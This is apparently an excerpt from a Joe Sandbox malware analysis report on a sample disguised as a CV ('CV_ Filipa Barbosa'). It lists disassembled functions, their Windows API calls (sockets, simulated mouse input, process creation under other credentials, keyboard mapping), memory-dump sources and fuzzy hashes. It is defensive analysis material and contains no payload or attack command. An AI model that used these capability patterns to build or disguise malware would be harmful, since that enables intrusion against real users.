                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                                  • String ID:
                                                                  • API String ID: 3451389628-0
                                                                  • Opcode ID: 014e42b2988462dde0fbd713127558274185df8a1903d383e78cca7625500542
                                                                  • Instruction ID: 9dad9dc022ae316804ce18d980f02f34a9d6a1dacbc7f34cfb0fd2bf6c397116
                                                                  • Opcode Fuzzy Hash: 014e42b2988462dde0fbd713127558274185df8a1903d383e78cca7625500542
                                                                  • Instruction Fuzzy Hash: ED514A31104304AFC714EF64C895E6EBBE9FF89B00F04499DF555972A1DB71EA09CB52
                                                                  Function 00B884DE Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetMenu.USER32(?), ref: 00B88540
                                                                  • GetMenuItemCount.USER32(00000000), ref: 00B88577
                                                                  • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00B8859F
                                                                  • GetMenuItemID.USER32(?,?), ref: 00B8860E
                                                                  • GetSubMenu.USER32(?,?), ref: 00B8861C
                                                                  • PostMessageW.USER32(?,00000111,?,00000000), ref: 00B8866D
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Menu$Item$CountMessagePostString
                                                                  • String ID:
                                                                  • API String ID: 650687236-0
                                                                  • Opcode ID: 8788367ee684e57f008aded8ad04f976d1c98466991e57338a6358d14d1565d7
                                                                  • Instruction ID: e82c72816041bc1b7fa9100e569f38ed9d1b1715635e132694b9fe04da17730d
                                                                  • Opcode Fuzzy Hash: 8788367ee684e57f008aded8ad04f976d1c98466991e57338a6358d14d1565d7
                                                                  • Instruction Fuzzy Hash: 9E517C71E00225AFCB11EF58C841AAEB7F5EF58310F104499E916BB361DB70AE41CB94
                                                                  Function 00B64AC2 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B64B10
                                                                  • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B64B5B
                                                                  • IsMenu.USER32(00000000), ref: 00B64B7B
                                                                  • CreatePopupMenu.USER32 ref: 00B64BAF
                                                                  • GetMenuItemCount.USER32(000000FF), ref: 00B64C0D
                                                                  • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00B64C3E
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                  • String ID:
                                                                  • API String ID: 3311875123-0
                                                                  • Opcode ID: fc6227c1967ef3b59358c0ae1f858451577541a8562a5eab352ee79334c2b0c5
                                                                  • Instruction ID: 019a5687cc049583f0fec62ebfbde87a56775a31c6db81af43a3be6f9c5f5844
                                                                  • Opcode Fuzzy Hash: fc6227c1967ef3b59358c0ae1f858451577541a8562a5eab352ee79334c2b0c5
                                                                  • Instruction Fuzzy Hash: A551E070A01B09EFCF25CF68C888BAEBBF4EF45318F1841A9E4159B291E7789944CB51
                                                                  Function 00B78DE2 Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • select.WSOCK32(00000000,00000001,00000000,00000000,?,000003E8,00BBDC00), ref: 00B78E7C
                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00B78E89
                                                                  • __WSAFDIsSet.WSOCK32(00000000,00000001,00000000), ref: 00B78EAD
                                                                  • #16.WSOCK32(?,?,00000000,00000000), ref: 00B78EC5
                                                                  • _strlen.LIBCMT ref: 00B78EF7
                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00B78F6A
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorLast$_strlenselect
                                                                  • String ID:
                                                                  • API String ID: 2217125717-0
                                                                  • Opcode ID: 729ea478d53cd890468b538a7676b6d89d8690d753b01259bba22cf491e264e7
                                                                  • Instruction ID: 845359852f9f7ecaef26ace0839ad3a61096dc5ff8daef56933e9b75144d785d
                                                                  • Opcode Fuzzy Hash: 729ea478d53cd890468b538a7676b6d89d8690d753b01259bba22cf491e264e7
                                                                  • Instruction Fuzzy Hash: 92418271600114ABCB14EB64DD8AEAEB7F9EF58310F108699F52E97691DF30AE44CB60
                                                                  Function 00B3ABF5 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                  • BeginPaint.USER32(?,?,?), ref: 00B3AC2A
                                                                  • GetWindowRect.USER32(?,?), ref: 00B3AC8E
                                                                  • ScreenToClient.USER32(?,?), ref: 00B3ACAB
                                                                  • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00B3ACBC
                                                                  • EndPaint.USER32(?,?,?,?,?), ref: 00B3AD06
                                                                  • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00B9E673
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
                                                                  • String ID:
                                                                  • API String ID: 2592858361-0
                                                                  • Opcode ID: d0409c34e8a498128d0739dab34f15982d2ebcd76fd7c3aeaeeddf078a7fb4d5
                                                                  • Instruction ID: 423a21e882784879a8e1a0247e86888094a83545f41e80990a023f88293f719b
                                                                  • Opcode Fuzzy Hash: d0409c34e8a498128d0739dab34f15982d2ebcd76fd7c3aeaeeddf078a7fb4d5
                                                                  • Instruction Fuzzy Hash: F3419271104240AFCB10DF28DCC5FB67BE8EB59720F2406A9F9A58B2A1D731A945DB62
                                                                  Function 00B698BA Relevance: 9.1, APIs: 6, Instructions: 100fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • InterlockedExchange.KERNEL32(?,000001F5), ref: 00B698D1
                                                                    • Part of subcall function 00B3F4EA: std::exception::exception.LIBCMT ref: 00B3F51E
                                                                    • Part of subcall function 00B3F4EA: __CxxThrowException@8.LIBCMT ref: 00B3F533
                                                                  • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00B69908
                                                                  • EnterCriticalSection.KERNEL32(?), ref: 00B69924
                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 00B6999E
                                                                  • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00B699B3
                                                                  • InterlockedExchange.KERNEL32(?,000001F6), ref: 00B699D2
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrowstd::exception::exception
                                                                  • String ID:
                                                                  • API String ID: 2537439066-0
                                                                  • Opcode ID: 9d5c5df14b81fb89047ef52578a1075e8958c9f1f9315874fdf7c2283a0baa50
                                                                  • Instruction ID: 429283e58e23dcc7df8635b45d9ca4025e3e9b7970fe1f32e5b014a59fd7146a
                                                                  • Opcode Fuzzy Hash: 9d5c5df14b81fb89047ef52578a1075e8958c9f1f9315874fdf7c2283a0baa50
                                                                  • Instruction Fuzzy Hash: 22316131900205EBDB10DF95DC85EAEB7B8FF45710F2480A9F905AB286DB74DE11DBA0
                                                                  Function 00B79B45 Relevance: 9.1, APIs: 6, Instructions: 99COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetForegroundWindow.USER32(?,?,?,?,?,?,00B777F4,?,?,00000000,00000001), ref: 00B79B53
                                                                    • Part of subcall function 00B76544: GetWindowRect.USER32(?,?), ref: 00B76557
                                                                  • GetDesktopWindow.USER32 ref: 00B79B7D
                                                                  • GetWindowRect.USER32(00000000), ref: 00B79B84
                                                                  • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00B79BB6
                                                                    • Part of subcall function 00B67A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00B67AD0
                                                                  • GetCursorPos.USER32(?), ref: 00B79BE2
                                                                  • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00B79C44
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                  • String ID:
                                                                  • API String ID: 4137160315-0
                                                                  • Opcode ID: c9f149f828138b09bb7ae816d09b73e2a4a09cfbc72aa4468c07dc9b8b5e3fb4
                                                                  • Instruction ID: f6311751f1a59bd685e7371748ddb5abe04141708a2f255a217874bad8f48370
                                                                  • Opcode Fuzzy Hash: c9f149f828138b09bb7ae816d09b73e2a4a09cfbc72aa4468c07dc9b8b5e3fb4
                                                                  • Instruction Fuzzy Hash: 9331D072604309ABD710DF58DC49F9BB7E9FF89314F00095AF599D7291DA31EA08CB92
                                                                  Function 00B5AF64 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00B5AFAE
                                                                  • OpenProcessToken.ADVAPI32(00000000), ref: 00B5AFB5
                                                                  • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00B5AFC4
                                                                  • CloseHandle.KERNEL32(00000004), ref: 00B5AFCF
                                                                  • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00B5AFFE
                                                                  • DestroyEnvironmentBlock.USERENV(00000000), ref: 00B5B012
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                  • String ID:
                                                                  • API String ID: 1413079979-0
                                                                  • Opcode ID: 1b7d920125f02c6e34265226a3ec5b8cfb24f86a2ef082f8990eea72e5faacf7
                                                                  • Instruction ID: c0f2f03e47c0229b24f117339e06bc85f8a8be881abadb5a6224e9a2d6e4daf2
                                                                  • Opcode Fuzzy Hash: 1b7d920125f02c6e34265226a3ec5b8cfb24f86a2ef082f8990eea72e5faacf7
                                                                  • Instruction Fuzzy Hash: 132149B2100209AFDF128FA4DD49FAE7BE9EB45305F044195FE02A2161C7769D29EB61
                                                                  Function 00B8EBF6 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00B3AFE3
                                                                    • Part of subcall function 00B3AF83: SelectObject.GDI32(?,00000000), ref: 00B3AFF2
                                                                    • Part of subcall function 00B3AF83: BeginPath.GDI32(?), ref: 00B3B009
                                                                    • Part of subcall function 00B3AF83: SelectObject.GDI32(?,00000000), ref: 00B3B033
                                                                  • MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00B8EC20
                                                                  • LineTo.GDI32(00000000,00000003,?), ref: 00B8EC34
                                                                  • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00B8EC42
                                                                  • LineTo.GDI32(00000000,00000000,?), ref: 00B8EC52
                                                                  • EndPath.GDI32(00000000), ref: 00B8EC62
                                                                  • StrokePath.GDI32(00000000), ref: 00B8EC72
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                                  • String ID:
                                                                  • API String ID: 43455801-0
                                                                  • Opcode ID: daa5b0994b741de144d237fa7dcf32c6eb0397534a64ab9b7b579c0475120b0d
                                                                  • Instruction ID: cc574d176a08f432ee87e68f4697c3c30fa5d84be5d4fa540330ee1611fda5e7
                                                                  • Opcode Fuzzy Hash: daa5b0994b741de144d237fa7dcf32c6eb0397534a64ab9b7b579c0475120b0d
                                                                  • Instruction Fuzzy Hash: 4F113572000148BFEB129F94DC89EEA7FADEB09350F148022BA199A170CB719E55DBA0
                                                                  Function 00B5E19B Relevance: 9.0, APIs: 6, Instructions: 48COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetDC.USER32(00000000), ref: 00B5E1C0
                                                                  • GetDeviceCaps.GDI32(00000000,00000058), ref: 00B5E1D1
                                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B5E1D8
                                                                  • ReleaseDC.USER32(00000000,00000000), ref: 00B5E1E0
                                                                  • MulDiv.KERNEL32(000009EC,?,00000000), ref: 00B5E1F7
                                                                  • MulDiv.KERNEL32(000009EC,?,?), ref: 00B5E209
                                                                    • Part of subcall function 00B59AA3: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,00B59A05,00000000,00000000,?,00B59DDB), ref: 00B5A53A
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CapsDevice$ExceptionRaiseRelease
                                                                  • String ID:
                                                                  • API String ID: 603618608-0
                                                                  • Opcode ID: 80e99bbe24532227d40ffd703ccfd13b48c88585283ef3f68093f9911e0140de
                                                                  • Instruction ID: 8a60cb1fb4e9ec1b0a881611a834100e1934d69d6e57658ddb5b40f94467d35b
                                                                  • Opcode Fuzzy Hash: 80e99bbe24532227d40ffd703ccfd13b48c88585283ef3f68093f9911e0140de
                                                                  • Instruction Fuzzy Hash: E10184B5A40614BFEB109FA58C46B5EBFB8EB49751F0040A6EE05A7290DA709D01CFA0
                                                                  Function 00B47B47 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __init_pointers.LIBCMT ref: 00B47B47
                                                                    • Part of subcall function 00B4123A: __initp_misc_winsig.LIBCMT ref: 00B4125E
                                                                    • Part of subcall function 00B4123A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00B47F51
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00B47F65
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00B47F78
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00B47F8B
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00B47F9E
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00B47FB1
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00B47FC4
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00B47FD7
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00B47FEA
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00B47FFD
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00B48010
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00B48023
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00B48036
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00B48049
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00B4805C
                                                                    • Part of subcall function 00B4123A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00B4806F
                                                                  • __mtinitlocks.LIBCMT ref: 00B47B4C
                                                                    • Part of subcall function 00B47E23: InitializeCriticalSectionAndSpinCount.KERNEL32(00BDAC68,00000FA0,?,?,00B47B51,00B45E77,00BD6C70,00000014), ref: 00B47E41
                                                                  • __mtterm.LIBCMT ref: 00B47B55
                                                                    • Part of subcall function 00B47BBD: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00B47B5A,00B45E77,00BD6C70,00000014), ref: 00B47D3F
                                                                    • Part of subcall function 00B47BBD: _free.LIBCMT ref: 00B47D46
                                                                    • Part of subcall function 00B47BBD: DeleteCriticalSection.KERNEL32(00BDAC68,?,?,00B47B5A,00B45E77,00BD6C70,00000014), ref: 00B47D68
                                                                  • __calloc_crt.LIBCMT ref: 00B47B7A
                                                                  • GetCurrentThreadId.KERNEL32 ref: 00B47BA3
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
                                                                  • String ID:
                                                                  • API String ID: 2942034483-0
                                                                  • Opcode ID: 348bc437bf6cfdd7a741b1458be4af8e50046664202ea2095b604713e429c086
                                                                  • Instruction ID: a91379c232d62aa78489e84454770f3610a4069c3a0acab1a614cd780f8598cf
                                                                  • Opcode Fuzzy Hash: 348bc437bf6cfdd7a741b1458be4af8e50046664202ea2095b604713e429c086
                                                                  • Instruction Fuzzy Hash: FAF090325DD31219EA247B38BD17A4A27D4DF02734B200BDAF964D64E2FF218A41F5A1
                                                                  Function 00B227EC Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00B2281D
                                                                  • MapVirtualKeyW.USER32(00000010,00000000), ref: 00B22825
                                                                  • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00B22830
                                                                  • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00B2283B
                                                                  • MapVirtualKeyW.USER32(00000011,00000000), ref: 00B22843
                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B2284B
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Virtual
                                                                  • String ID:
                                                                  • API String ID: 4278518827-0
                                                                  • Opcode ID: 6313879171fc5f7a74c745abb5227b46dea164b9dc98cde3cc842506959fed04
                                                                  • Instruction ID: a622b3f8733f36554296e4a26c127bb35e24225702412c5af05047f340b9e03d
                                                                  • Opcode Fuzzy Hash: 6313879171fc5f7a74c745abb5227b46dea164b9dc98cde3cc842506959fed04
                                                                  • Instruction Fuzzy Hash: 700167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C47A42C7F5A864CBE5
                                                                  Function 00B69AD5 Relevance: 9.0, APIs: 6, Instructions: 44COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
                                                                  • String ID:
                                                                  • API String ID: 1423608774-0
                                                                  • Opcode ID: 46c1d42fe09a92fad580523392db93d40212822a0de64a08502b3fcfb670bd1b
                                                                  • Instruction ID: 8c48dcec7d249d2f35c7ddc0901e635ecd8c1e939a21596b5ad48f84a95f20b0
                                                                  • Opcode Fuzzy Hash: 46c1d42fe09a92fad580523392db93d40212822a0de64a08502b3fcfb670bd1b
